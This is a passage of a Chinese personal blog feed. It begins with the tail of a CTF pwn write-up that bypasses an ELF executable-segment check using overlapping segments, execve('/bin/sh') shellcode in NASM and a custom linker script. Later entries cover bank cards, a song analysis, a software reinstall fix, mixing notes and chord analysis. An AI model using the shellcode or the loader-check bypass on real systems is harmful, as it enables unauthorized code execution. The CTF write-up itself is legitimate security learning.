class="line">elf = parse(data)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> elf.header.e_type != constants.ET_EXEC:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;!!&quot;</span>)</span><br><span class="line">    exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> segment <span class="keyword">in</span> elf.segments:</span><br><span class="line">    <span class="keyword">if</span> segment.p_flags &amp; SegmentFlags.X:</span><br><span class="line">        content = elf.content(segment)</span><br><span class="line">        <span class="keyword">for</span> byte <span class="keyword">in</span> content:</span><br><span class="line">            <span class="keyword">if</span> byte != <span class="number">0</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;&gt;:(&quot;</span>)</span><br><span class="line">                exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">elf.run()</span><br></pre></td></tr></table></figure><p>和前一题检测的 section 不同，加载器在加载 elf 时会根据 segment 信息设置内存权限，如果机器码所在的内存没有可执行权限的话，会报错段错误。因此这题不能像前一题那样直接更改权限。</p><p>一个可行的，也是我所使用的思路是段重叠，即在 elf 内构建多个 segment，其中机器码所在的段没有可执行权限，且在 program header 表中先出现；另有一全空白的可执行段，在 program header 表中后出现。两段的虚拟地址相同，非可执行段中机器码入口在段内第 n 个字节处，同时空白段的大小也为 n（n！=0）。段的大小非零，段权限才能成功覆盖已存在的段。</p><p>这样一来，在程序加载时，加载器便会帮我们复制机器码，并设置好可执行权限，使得程序可以正常运行。同时满足 <code>fairy.py</code> 中的检测逻辑。</p><p>考虑 gcc 默认生成的文件段信息有点复杂，我选择写汇编：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">BITS 64</span><br><span class="line"></span><br><span class="line">section .text</span><br><span class="line">    global _start</span><br><span class="line">times 0x10 db 0</span><br><span class="line">_start:</span><br><span class="line">    sub rsp, 8              </span><br><span class="line">    mov byte [rsp], 0x2f    </span><br><span class="line">    mov byte [rsp+1], 0x62  </span><br><span class="line">    mov byte [rsp+2], 0x69  </span><br><span class="line">    mov byte [rsp+3], 0x6e  </span><br><span class="line">    mov byte [rsp+4], 0x2f  </span><br><span class="line">    mov byte [rsp+5],  0x73 </span><br><span class="line">    mov byte [rsp+6],  0x68 </span><br><span class="line">    mov byte [rsp+7], 0x00</span><br><span class="line"></span><br><span class="line">    xor rsi, rsi            ; argv = NULL</span><br><span class="line">    xor rdx, rdx            ; envp = NULL</span><br><span class="line">    lea rdi, [rsp]          ; rdi = pointer to &quot;/bin/sh&quot; </span><br><span class="line">    mov eax, 59             ; syscall number for execve</span><br><span class="line">    syscall                 ; execve(&quot;/bin/sh&quot;, NULL, NULL)</span><br><span class="line"></span><br><span class="line">section .rodata</span><br><span class="line">times 8 dq 0</span><br></pre></td></tr></table></figure><p>并单独编写了链接器脚本：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">ENTRY(_start)</span><br><span class="line"></span><br><span class="line">SECTIONS</span><br><span class="line">&#123;</span><br><span class="line">    . = 0x400000;</span><br><span class="line"></span><br><span class="line">    .text 0x400000 : &#123;</span><br><span class="line">        *(.text)</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    .text_exe 0x400000 : &#123;</span><br><span class="line">        . = . + 0x1000;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    .rodata 0x402000 : &#123;</span><br><span class="line">        *(.rodata)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对于生成的可执行文件，依旧使用十六进制编辑器完成剩余的修改：去掉 <code>.text</code> 的可执行权限，为 <code>.text_exe</code> 增加可执行权限。</p><p>下面这张图大概解释了修改的内容：</p><p><img src="https://s21.ax1x.com/2025/04/09/pEgvGZR.png" alt="wp.png"></p><p>随后简单用 python base64encode 和 pwntools 将文件上传到比赛平台，就能获取到 shell 了。<code>cat ./flag.txt</code>即得到 flag。</p><hr><p>写完第二题后和 c10uds 哥讨论了一下，他给出了一种更简单的办法：写一个普通的类似第一题的程序，让可执行段的前 n 个字节是 0，然后直接把可执行段的段大小设为 n。这样既可以通过 <code>elf.py</code> 的检测，也可以让程序被加载器正确加载并执行。</p><p>我震惊。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;写了两道 PWN 的题，记录一下。&lt;/p&gt;</summary>
    
    
    
    <category term="DEV" scheme="https://tyatt.top/categories/DEV/"/>
    
    
    <category term="ctf" scheme="https://tyatt.top/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>与境内外银行打交道之旅 &amp; 我开的那些卡与账户</title>
    <link href="https://tyatt.top/2025/04/07/cards/"/>
    <id>https://tyatt.top/2025/04/07/cards/</id>
    <published>2025-04-07T15:19:00.000Z</published>
    <updated>2025-09-27T16:11:37.087Z</updated>
    
    <content type="html"><![CDATA[<p> 一些按照时间顺序的记录……</p><span id="more"></span><h3 id="中信银行 -CITIC"><a href="# 中信银行 -CITIC" class="headerlink" title="中信银行 CITIC"></a> 中信银行 CITIC</h3><p>2017 年的某天，突然决定要把压岁钱存起来。于是在家庭惯性的驱动下，我和家长来到了小区附近的中信银行，开出了一张借记卡。用途很简单：每年存一次定期。我也几乎没再关注过这张卡，仅将其作储蓄用。</p><p> 卡板名是“香卡”，银联，16 位卡号，10 年有效期，没什么特殊的。当然现在回头来看，开卡时间早导致的完全无限额竟然成了它在我的所有境内卡中的独一无二的优势。</p><p><img src="https://pic3.zhimg.com/80/v2-f0e123d77a8cc25bc9b1f42fd6b0f72e_1440w.webp"></p><h3 id="兴业银行 -CIB"><a href="# 兴业银行 -CIB" class="headerlink" title="兴业银行 CIB"></a> 兴业银行 CIB</h3><p>2024 年高考前后，我了解到了一些关于投资的知识。于是在结束高考的折磨后，WISE 就成了我的第一个目标。</p><p> 然而要激活 WISE，必须先往里汇入 30 加元。考虑到常规银行跨境电汇高额的手续费、电报费（难以理解 2024 年了发个电文竟然还要额外收费）、中转行费用等等，兴业银行的寰宇人生借记卡自然就成了我的首选。</p><p> 这卡的优势是在跨境汇款的流程中，作为汇出方完全不收取任何费用，且可指定中转行。而 WISE 对除美元外的大部分货币的跨境汇入不收取落地费，且提供无中转行费用的中转行。两边配合，就实现了 0 费用的跨境汇款（汇出）路线，非常令人开心。</p><p> 网申，收到 EMS 寄送的卡片，线下支行激活，整个流程一气呵成，柜员们态度也非常好，给了 2w 的非柜交易限额和 5w 的线上转账限额，足够使用了。</p><p>“寰宇人生卡”，银联，18 位卡号，8 年有效期。</p><p><img src="https://pic3.zhimg.com/80/v2-f79f7bd9b339f5540f1c4b715cc2250e_1440w.webp"></p><h3 id="WISE"><a href="#WISE" class="headerlink" title="WISE"></a>WISE</h3><p>WISE 的加拿大元账户户名是 WISE Inc.，导致我第一次尝试从兴业汇 WISE 时就被外汇管制 / 反洗钱系统拦住了。解决办法是汇英镑，WISE 的英镑账户户名是我的姓名拼音，汇出就十分顺利。</p><p> 激活账户后，用加拿大地址作为账户地址，中国地址作为收件地址，成功申请到了加区的绿色 VISA 借记卡。卡片经国际平邮运了一个多月，最终还是幸运的到达了我家的邮箱。赞美中国邮政我家旁边的支局！</p><p> 为防止被关户，也为了开通没有美签的我能无费用开出的可能是唯一一个带 ACH 转账功能的非券商美元账户，我最终还是把 WISE 的地址改成了我的实际地址。这样做的唯一缺点是我没办法要求挂失、补发、到期更换新的借记卡了。</p><p>WISE 绿色 Prepaid 卡，VISA Platinum，16 位卡号，CVV 可用，5 年有效期。</p><p><img src="https://pic2.zhimg.com/80/v2-78765bb3bbc3bf3f9191cd8abcd9bc1d_1440w.webp"></p><h3 id="中国银行 -BOC"><a href="# 中国银行 -BOC" class="headerlink" title="中国银行 BOC"></a> 中国银行 BOC</h3><p> 有暑假去香港转悠一圈的打算，又了解到中国银行有全球同名账户跨境汇款免收手续费、电报费、落地费的政策，于是我立刻来到小区附近那家中信银行正对面的中国银行，开出了一张借记卡。</p><p> 最初的限额似乎是日 3 千，而且提额要求较为严格：一定量的资金存满两周，然后可将限额提至资金量的约 1.2 倍。没钱，提额这事就暂时被我抛于脑后了。</p><p> 至于后续的第一次购汇我是直接到人工柜台办理的，而汇出操作，由于必须要手机银行操作才能免费，柜台便同意给我的账户临时提额。</p><p> 回忆当时的情景，柜员先给出提额操作单，我签字，然后在手机银行中办理完成后，柜员再给出降限额操作单，我再签字，才算完成，也是挺奇葩的。</p><p>“中银长情卡”，银联，19 位卡号，10 年有效期。</p><p><img src="https://pic3.zhimg.com/80/v2-9e805932e8c11371df2bc7d75faa9ab4_1440w.webp"></p><h3 id="众安银行 -ZA-Bank"><a href="# 众安银行 -ZA-Bank" class="headerlink" title="众安银行 ZA Bank"></a> 众安银行 ZA Bank</h3><p> 来到香港后成功开通的第一个银行账户，只需线上申请，秒通过。它们的实体借记卡需要手动申请，且需要大约 20HKD 的费用。申请后由快递从珠海发出。</p><p> 这家银行是一家虚拟银行，也就是说它们没有实体分行。在收到卡之前，我没办法使用这个账户进行线下消费或存取款。它们的港元定期存款利率较优，但毕竟是外币，有一定的汇率风险。</p><p> 收到卡后，我将其绑定至微信（WeChat Pay HK），并使用其进行过几次小额消费，返现等优惠还是很不错的。但，这张卡有货币转换费，也就是说直接使用或通过支付宝使用时，并不会很划算。同时，在使用微信进行超过 200 元的消费时，也会被收取一定费用。</p><p> 众安银行活期储蓄账户，无管理费，无标准，仅一个账户号包含 CNH，HKD，USD 三种货币。</p><p>“ZA Card”，VISA，16 位卡号（后六位可自定义），CVV 可用，5 年有效期。</p><p><img src="https://picx.zhimg.com/80/v2-c7bb754bf8ea94e8d4a5f53d040aa9b7_1440w.webp"></p><h3 id="中国银行（香港）-BOCHK"><a href="# 中国银行（香港）-BOCHK" class="headerlink" title="中国银行（香港） BOCHK"></a> 中国银行（香港） BOCHK</h3><p> 在经历了线下尝试汇丰开户的失败后（理由竟然是客户经理觉得我太年轻不适合投资理财），我决定放弃中银香港的线下开户预约，直接选择线上开户。</p><p> 出乎我意料的，秒开成功，获得了一个港币储蓄账户与一个包含离岸人民币的外汇储蓄账户（外汇宝账户）。然而这样开出来的账户由于没有签名，无法开通投资账户（看着 5% 年化的货币基金感叹），而补签名的过程异常曲折，最终也没成功。</p><p> 在经过大半天的排队后，粉岭分行的客户经理竟然告诉我必须要收到卡后才能补签名。此时已经是行程的最后一天，于是我带着“为什么没去元朗分行”的遗憾离开了香港。</p><p> 对于香港地区的银行来说，账户与卡是分离的，且由于历史原因，非信用卡的种类有提款卡，扣账卡，借记卡等许多种。中银香港默认只能开出一张扣账卡，借记卡则需账户内资产达到 20w 港元。我申请了扣账卡，跨境平邮大约一周，成功收到。</p><p> 又一次 BOC-&gt;BOCHK 的跨境汇款，发现到账比汇出少了 20 英镑。第一次去中行线下咨询，被解释为中转行费用，但声称无法提供更多信息。遂无奈回家。收到 BOCHK 的对账单后，发现是 BOC 伦敦分行在担任中转行时收取了费用。很气愤，遂向金管局投诉。得到的解释是中行全球同名跨境汇款免除的费用不包含中转行费用。但我仍不解：担任中转行的也是中行的分行。于是坚持投诉。境内中行开户行称规定如此，无法退还中转行费用，但愿意为“提供糟糕体验”而给予两个充电宝作为赠礼。终无奈接受。</p><p> 中行的系统的坑就在这里：无法指定中转行，只能看运气。如果钱款没有去货币发行国绕一圈而是直达目的地，便不会被收取中转行费用。一个似乎可行的经验是尽量在工作日上午进行汇出操作，无需中转行的概率更大。</p><p>“i-Fre 自在理财”，无管理费，资产标准 1w 港元（由于是最低一等的账户，不达标也不会有事），一个账户号仅可储蓄 HKD，另一个账户号支持除 HKD 外的多种货币。</p><p>“中银卡”，银联，19 位卡号，无 CVV，8 年有效期。</p><p><img src="https://pic4.zhimg.com/80/v2-c63e6b7df38ba77ce97918307a205c73_1440w.webp"></p><h3 id="交通银行 -BankComm"><a href="# 交通银行 -BankComm" class="headerlink" title="交通银行 BankComm"></a> 交通银行 BankComm</h3><p> 大学统一开通的。到我家附近的支行激活后，限额被设为 1w，随后又接到电话通知，开户行设置的限额更高，有 3w，遂选择按照开户行的设置，定为 3w。</p><p>“太平洋卡”，银联，19 位卡号，9 年有效期。</p><p><img src="https://picx.zhimg.com/80/v2-4b6b9e4a4196bf68965205a91a4139d3_1440w.webp"></p><h3 id="北京银行 -BOB"><a href="# 北京银行 -BOB" class="headerlink" title="北京银行 BOB"></a> 北京银行 BOB</h3><p> 从家长那里得知北京银行有年利率 5%（后已降至 4.5%~4%）的美元定期存款，于是决定去北京银行开一张卡。</p><p> 到达银行，前期流程顺利，最后却提示开户失败。一查才发现我名下竟然已有北京银行的一类卡。由于实在没有印象，只能选择将其挂失，然而挂失后才知道应先将其降二类，否则无法新开可购汇的一类卡。</p><p> 无奈只能等待一周制卡。随后流程倒是一切顺利，成功开卡并存入定期存款，限额 5k。只是可惜了原来的那张一类，若是没有降成二类，大概也不会有限额。</p><p> 特别感谢北京银行某支行的大堂经理对我的特别照顾。</p><p>“小京卡”（一类），银联，16 位卡号，9 年有效期。</p><p><img src="https://pic4.zhimg.com/80/v2-258866472940ae10da50e55df0a10893_1440w.webp"></p><p>“京卡”（二类），银联，16 位卡号，10 年有效期。</p><p><img src="https://pic3.zhimg.com/80/v2-7a0da877055a3c90059e90cd0b57da02_1440w.webp"></p><h3 id="中信银行（续）"><a href="# 中信银行（续）" class="headerlink" title="中信银行（续）"></a> 中信银行（续）</h3><p> 听说中信银行与暗黑破坏神；不朽联名，推出了一个中国万事达（万事网联）的世界等级借记卡，于是猛肝 3 天游戏，拿到了开卡权限。</p><p> 大学所在地无网点，挑了一个没课的日子坐高铁去南京成功开到了卡。二类，限额 5k，但与本人名下一类卡绑定后互转无限额。</p><p>“中信银行 x 暗黑破坏神：不朽 联名借记卡 世界卡”，中国万事达（万事网联）World，16 位卡号，CVV 可用性未知，5 年有效期。</p><p><img src="https://pic1.zhimg.com/80/v2-9f3486d85ddd4e81d47fcec5b1b1c7b2_1440w.webp"></p><h3 id="汇丰银行（中国）-HSBC-CN"><a href="# 汇丰银行（中国）-HSBC-CN" class="headerlink" title="汇丰银行（中国） HSBC CN"></a> 汇丰银行（中国） HSBC CN</h3><p> 自然是不可能有钱去开 50w 的卓越理财的，只是线上申请了一个人民币二类户“占个位”。</p><p> 这个账户功能极其有限，似乎只能做活期储蓄用。开户过程未设限额，应该是只有二类户本身的限制。不提供网银，只能使用手机银行。</p><p> 内地银行的借记卡与账户是严格对应的，从汇丰这个无卡的账户的实际情况也能看出来这点。</p><p> 虽说无卡，汇丰仍提供了一个官方称之为“账户识别号”的号码。这号码格式一眼就是银联借记卡卡号的格式，输入云闪付、微信等应用尝试绑定时也都会以“汇丰银行 借记卡”的名义显示。但实际上它只能绑定微信与支付宝，而无法绑定 Mi Pay、云闪付等。</p><p>“汇丰易存账户”，银联，无管理费，无标准，无卡，II 类人民币结算账户。</p><h3 id="中国银行（香港）（续）"><a href="# 中国银行（香港）（续）" class="headerlink" title="中国银行（香港）（续）"></a> 中国银行（香港）（续）</h3><p>2025.1.12，在周日凌晨的系统维护结束后，中银香港向所有等级的账户放开了申请万事达扣账卡的权限，我也第一时间申请了一张。依旧是跨境平邮，花费了约 10 天的时间。邮递员十分认真负责，看到是“国际邮件”，提前联系了我（我在地址栏注明了手机号），并亲自送上门。</p><p> 在收到实体卡前，我先激活了虚拟卡，尝试将其绑定至 WeChat Pay HK 钱包，失败，再次尝试直接绑定微信钱包，成功并可正常使用。我提前兑换了一些 CNH 至外汇宝账户，然后尝试借微信支付使用这张卡进行消费，成功，且正常收到了 0.5% 的返现。</p><p>“中银万事达卡®扣账卡”，万事达，16 位卡号，CVV 可用，8 年有效期。</p><p><img src="https://pic3.zhimg.com/80/v2-bb82ed51a4fdca51bb817015bdb7a108_1440w.webp"></p><h3 id="中国邮政储蓄银行 -PSBC"><a href="# 中国邮政储蓄银行 -PSBC" class="headerlink" title="中国邮政储蓄银行 PSBC"></a> 中国邮政储蓄银行 PSBC</h3><p> 最开始是一个家长为了给我交医保而开立的结算类型存折，但上了大学后开始交大学生医保，就不需要了。</p><p> 在手机银行上瞎看，发现邮储和瑞幸咖啡有联名信用卡，喝瑞幸有额外的券。正好宿舍楼下就是个瑞幸，就想着办一张。搜了搜攻略似乎要开一些定期存款就能下卡。</p><p> 但邮储的系统提示要在线开立定期存款，必须要有一个借记卡类型的账户，于是又办了一个虚拟卡类型的电子二类户。</p><p> 然鹅申请那张联名卡还是秒拒，不知道是不是会查询学信网。总之最后放弃了。</p><p> 中国邮政储蓄银行 活期存折，I 类人民币结算账户，无卡组织。</p><p>“绿卡通” 美团联名卡，银联，19 位卡号，无实体卡，II 类人民币结算账户。</p><h3 id="中国农业银行 -ABC"><a href="# 中国农业银行 -ABC" class="headerlink" title="中国农业银行 ABC"></a> 中国农业银行 ABC</h3><p> 农行的工作人员来学校里推销办信用卡（0 透支额度），看起来不错就办了一张。送了 100 块余额和一共 36 块的满减券，成功白嫖半周饭费。</p><p> 卡面可选，而且有好几个看起来都很漂亮。感觉我有不少暖色调的卡了，于是选了一个绿颜色为主的。</p><p>“大学生青春卡”，贷记卡，银联金卡，16 位卡号，8 年有效期。</p><p><img src="https://pic3.zhimg.com/80/v2-6a24c1c6f4413b5977c4040630c18c08_1440w.webp"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;一些按照时间顺序的记录……&lt;/p&gt;</summary>
    
    
    
    <category term="finance" scheme="https://tyatt.top/categories/finance/"/>
    
    
    <category term="finance" scheme="https://tyatt.top/tags/finance/"/>
    
  </entry>
  
  <entry>
    <title>音乐分析 - 天球（そら）の musica</title>
    <link href="https://tyatt.top/2025/04/02/music-analysis-soranomusica/"/>
    <id>https://tyatt.top/2025/04/02/music-analysis-soranomusica/</id>
    <published>2025-04-02T12:52:00.000Z</published>
    <updated>2025-09-27T16:06:45.629Z</updated>
    
    <content type="html"><![CDATA[<p> 这个系列会转载或首发一些我对某些 有意思 或 击中了我 的歌的分析。</p><span id="more"></span><hr><p> 来自 Ave Mujica 的 <em> 天球の musica</em></p><p> 这歌初听完全打动我了，缓了几天才终于能理性的听，于是忍不住分析一下。</p><hr><p> 以“难忘今宵”式功能性流行曲为设计宗旨，实现手段基本上是硬核 emo 和 midwest emo 的混合。总之就是奔着打动人心设计的。但为了符合乐队风格又有一点金属的元素比如那个 break down。</p><p>emo，特别是 Midwest emo，个人感觉是很“矫情”（非贬义）的风格。摇滚乐的题材，从最开始的宏大叙事慢慢发展成为了关注自己内心，以千禧年初的 Midwest emo 和部分流行朋克为代表。后者大概可以比喻成“e 人”，相对更阳光外向，而前者就更多的有关“青春期的忧郁”、“一事无成的青少年时期”等方向。流行朋克为流行乐带来的可能是是强力和弦的套路和弦进行，而 Midwest emo 带来的，则可以大概归纳为大调内，大九和弦琶音带来的“twinkle”的感觉。</p><hr><p> 回到这歌本身，看到歌词，有点悲“壮”的结尾的感觉，又是两季动漫的最后一首告别歌曲，选用 Midwest emo 元素也很合适。</p><p> 前奏吉他背后的那个效果器有点意思，似乎和 gbc 片尾曲用的是同款。有一种拽进内心的感觉。</p><p> 主歌以我的水平可说的不太多，基本就是别写太好听要做出对比（）。两段式结构（把第二段叫预副歌应该也行）。值得注意的是几段主歌选择了不同的吉他编配，同时旋律也不同（似乎是五度的关系）。第二遍的一段主歌的吉他编配几乎是典型的 Midwest emo 风格。第一遍和第三遍的一段主歌则偏硬核。整体来看，就有很明显且合适的情绪起伏。</p><p> 功能上很好的一个设计是两段式副歌（也就是说这曲子可能包含了五段不同的主人声旋律外加一个吉他 solo 和一段琶音型节奏吉他，真是配置豪华）。第一段是长句子的旋律，抒情；第二段可以算 loop“洗脑”式旋律。两段用一个高八度 7 1 衔接。前接第一段副歌最后一个 3，是向上 5 度，协和且激昂的上行跳进，一级和弦上的 7 1 又是一个完美的解决。第二段副歌旋律很简单，强调大调一级，多用大于三度的跳进。保持并加强情感的同时简单直白，很适合大合唱。至于如果最后听出了“神圣性”之类的话，大概还是配器（合唱）和效果器（大混响与均衡器高切）的功劳（）。</p><p>​副歌的弦乐声部同样选择了类似第二遍一段主歌那样的快速琶音的编配方式。这首歌又是副歌前置的结构（虽然只前置了二段 loop 式副歌），使得因短的吉他前奏产生了风格预期，且被合成器“包裹住”的 听感 在进入前置的副歌时快速打开。碎节奏快速产生律动感，弦乐琶音、主音吉他八度音扫弦和在七弦上的节奏吉他快速填满整个频段，主打一个直击人心（和耳朵）。</p><p>​副歌和弦基本上是 4563 4561 来回用。这玩意确实好用。但排列顺序（大概可以解释成同功能组的和弦互换，虽然 4563 这种进行本身不太靠传统的功能性发挥作用）和每个和弦持续的长度比较随性，就能避开传统套路和弦进行那种过于死板和随处可见的听感。<br> 配器上比较传统：弦乐，俩吉他，贝斯，架子鼓，以及前奏那个合成器音色。分析的时候比较意外的是没有钢琴音色，不过最初听的时候也没有觉得加了钢琴会更好。俩吉他都是七弦琴，主要在主歌部分能让曲子更硬一点（对比副歌，可能有点太硬了），其余部分七弦作用不太显著。</p><p> 架子鼓主节奏型不套路，没有用传统 jrock 爱用的纯粹动次打次和反拍开镲（也是我觉得孤独摇滚的曲子里略差的一点，就是架子鼓节奏型几乎以这俩为主没啥新意）不过这歌的节奏型动动空动打，恰巧在惘闻乐队的《锻高潭》里听过（）。很有律动感与“弹跳性”的一个节奏型。</p><p> 混音方面不好说，总感觉主歌部分吉他的压缩和失真开太大了。略有一点点突兀。弦乐混出来的存在感不太强，但放到这种风格里也不算啥坏事。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这个系列会转载或首发一些我对某些 有意思 或 击中了我 的歌的分析。&lt;/p&gt;</summary>
    
    
    
    <category term="music" scheme="https://tyatt.top/categories/music/"/>
    
    
    <category term="music" scheme="https://tyatt.top/tags/music/"/>
    
    <category term="jpop" scheme="https://tyatt.top/tags/jpop/"/>
    
  </entry>
  
  <entry>
    <title>删掉并重装 Soft-eLicenser 时失败的解决办法</title>
    <link href="https://tyatt.top/2024/02/06/Soft-eLicenser-reinstall/"/>
    <id>https://tyatt.top/2024/02/06/Soft-eLicenser-reinstall/</id>
    <published>2024-02-06T08:48:00.000Z</published>
    <updated>2025-09-27T16:10:53.569Z</updated>
    
    <content type="html"><![CDATA[<p><strong>把 <code>C:\Windows\SysWOW64\</code> 里的 <code>audcon.sys</code> 改名 <code>audcon.sys.bak</code>，重新运行<code>elc-installation-helper.exe</code> 就行了。</strong></p><p>在 steinberg 的论坛上爬到的方法，藏在一个求助帖里，不好找，转过来记录一下。</p><span id="more"></span><p><a href="https://forums.steinberg.net/t/not-created-soft-elicenser-under-any-installation-options-w10-pro-1909-64bit/140308/64">https://forums.steinberg.net/t/not-created-soft-elicenser-under-any-installation-options-w10-pro-1909-64bit/140308/64</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;strong&gt;把 &lt;code&gt;C:&#92;Windows&#92;SysWOW64&#92;&lt;/code&gt; 里的&lt;code&gt;audcon.sys&lt;/code&gt;改名&lt;code&gt;audcon.sys.bak&lt;/code&gt;，重新运行&lt;code&gt;elc-installation-helper.exe&lt;/code&gt;就行了。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在steinberg的论坛上爬到的方法，藏在一个求助帖里，不好找，转过来记录一下。&lt;/p&gt;</summary>
    
    
    
    
    <category term="music" scheme="https://tyatt.top/tags/music/"/>
    
  </entry>
  
  <entry>
    <title>混音方面一些声音效果的实现方法</title>
    <link href="https://tyatt.top/2023/04/30/%E6%B7%B7%E9%9F%B3%E6%96%B9%E9%9D%A2%E4%B8%80%E4%BA%9B%E5%A3%B0%E9%9F%B3%E6%95%88%E6%9E%9C%E7%9A%84%E5%AE%9E%E7%8E%B0%E6%96%B9%E6%B3%95/"/>
    <id>https://tyatt.top/2023/04/30/%E6%B7%B7%E9%9F%B3%E6%96%B9%E9%9D%A2%E4%B8%80%E4%BA%9B%E5%A3%B0%E9%9F%B3%E6%95%88%E6%9E%9C%E7%9A%84%E5%AE%9E%E7%8E%B0%E6%96%B9%E6%B3%95/</id>
    <published>2023-04-30T07:29:00.000Z</published>
    <updated>2025-09-27T16:07:33.685Z</updated>
    
    <content type="html"><![CDATA[<p>个人笔记，学到新的了就会更新。</p><span id="more"></span><h2 id="电话音"><a href="# 电话音" class="headerlink" title="电话音"></a>电话音</h2><p><del>500Hz 同时做高切和低切。</del><br>400Hz 低切，3500Hz 高切。</p><h2 id="收音机"><a href="# 收音机" class="headerlink" title="收音机"></a>收音机</h2><p>200Hz 低切，3500Hz 高切。</p><h2 id="回忆、在盒子里的感觉"><a href="# 回忆、在盒子里的感觉" class="headerlink" title="回忆、在盒子里的感觉"></a>回忆、在盒子里的感觉 </h2><p> 效果参见孤独摇滚《往日重现 Flash Backer》开头。</p><p>100Hz 低切，5kHz 高切。</p><h2 id="闷雷效果（产生距离感）"><a href="# 闷雷效果（产生距离感）" class="headerlink" title="闷雷效果（产生距离感）"></a>闷雷效果（产生距离感）</h2><p>200Hz 高切。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;个人笔记，学到新的了就会更新。&lt;/p&gt;</summary>
    
    
    
    <category term="music" scheme="https://tyatt.top/categories/music/"/>
    
    
    <category term="music" scheme="https://tyatt.top/tags/music/"/>
    
    <category term="mix" scheme="https://tyatt.top/tags/mix/"/>
    
  </entry>
  
  <entry>
    <title>《孤独摇滚》编曲分析——和弦进行与转调</title>
    <link href="https://tyatt.top/2023/02/25/bocchi-the-rock-chord/"/>
    <id>https://tyatt.top/2023/02/25/bocchi-the-rock-chord/</id>
    <published>2023-02-25T14:34:00.000Z</published>
    <updated>2025-09-27T16:07:50.987Z</updated>
    
    <content type="html"><![CDATA[<p><em> 已更新 </em> </p><ul><li>《有什么不好》</li><li>《孤独东京》</li></ul><p> 喜欢的音乐类型从前卫摇滚变成了前摇 + 日摇（<br>（这张专辑细分风格可能算 emotional j-rock，但我不太懂这方面的分类）</p><span id="more"></span><hr><h3 id="《有什么不好》"><a href="#《有什么不好》" class="headerlink" title="《有什么不好》"></a>《有什么不好》</h3><p>C 大调，D 大调。</p><p> 前奏与主歌使用 C 旋律大调音阶（有观点认为是 C Mixolydian，考虑到旋律中同时用到了 Ab、Bb，我倾向于认为是旋律大调音阶）。</p><p> 前奏的和弦进行为 C F Fm/Ab，稍有变化的主 - 下属 - 属。Fm 代替 G 营造出略暗淡的色彩，理论依据来自“负极和声”。</p><p> 主歌第一段的和弦进行为 C Gm7 FMaj7 Fm/Ab。<br>Gm7 来自所使用的旋律大调（Mixolydian）音阶。</p><p> 主歌第二段的和弦进行为 Am7 FMaj7 C G Am7 FMaj7 Dsus4 Bb A。<br> 先是经典的 6415，后面 D Bb A 为转调做准备。<br> 副歌为 D 大调，第一个和弦是 D，A-&gt;D 构成 Ⅴ-&gt;Ⅰ，Bb 和弦有 C 调五级的功能，D-&gt;Bb 构成一个音响略奇特的 Ⅱ-&gt;Ⅴ，Bb-&gt;A 的根音又是一个半音下行，顺利的转到副歌的 D 调。</p><p> 副歌向上方大二度转调，提升情感。</p><p> 副歌第一段的和弦进行为 D F#7 Bm7 Am7 D7 G A。包含一个 G 的临时 251（Am7 D7 G），忽略掉就是 1(3)645；<br> 末尾的 A 到下一遍的 D 又是一个 Ⅴ-&gt;Ⅰ；<br> 三级属七（F#7）可以代替五级，这里在六级前面也可看成是小调临时 51，旋律中用到了升五级音（A#），正好作为 F#7 的三音；<br> 这一段用了很多离调和弦，功能上有临时 251 等，同时也和旋律中出现的升五级音所匹配。</p><p> 副歌第二段的和弦是 G A F#m Bm G A Bbdim Bm GMaj7。<br> 上来先是 jpop、jrock 最爱的标准 4536（日本人管它叫“王道进行”）， 第二遍则是 4536 的一个变种，Bbdim 代替了 F#m；<br>GMaj7 为转回 C 大调做准备，组成音 F# 到下一个和弦 F 有一个半音下行。</p><p> 关于 4536，这里有个视频在历史与乐理方面探讨了它流行的原因：<a href="https://www.bilibili.com/video/av87079011/">https://www.bilibili.com/video/av87079011/</a> 。</p><p> 副歌结束，向下大二度转回 C 大调。</p><p> 歌曲末尾为 C F F/G Cadd9。以 Cadd9 结尾，带来一种青春，积极向上的情感。</p><p> 这类情感比较青春，积极向上的曲子，用 add9 和弦是一个不错的选择。</p><hr><h3 id="《绝不会忘记》"><a href="#《绝不会忘记》" class="headerlink" title="《绝不会忘记》"></a>《绝不会忘记》</h3><p> 非常喜欢的一首。</p><p> 这首的和弦进行主歌是标准 45364561（4536 后接的终止式也可以不是 251，孤独摇滚里的曲子很能体现这一点），副歌是卡农进行的变体（加了许多临时 251）并且有很多有情感作用的和弦，比如 add9，m7。我不太擅长分析这类和具体情感有关的音响效果，暂且只能粗略的分析这么多。</p><hr><h3 id="《孤独东京》"><a href="#《孤独东京》" class="headerlink" title="《孤独东京》"></a>《孤独东京》</h3><p> 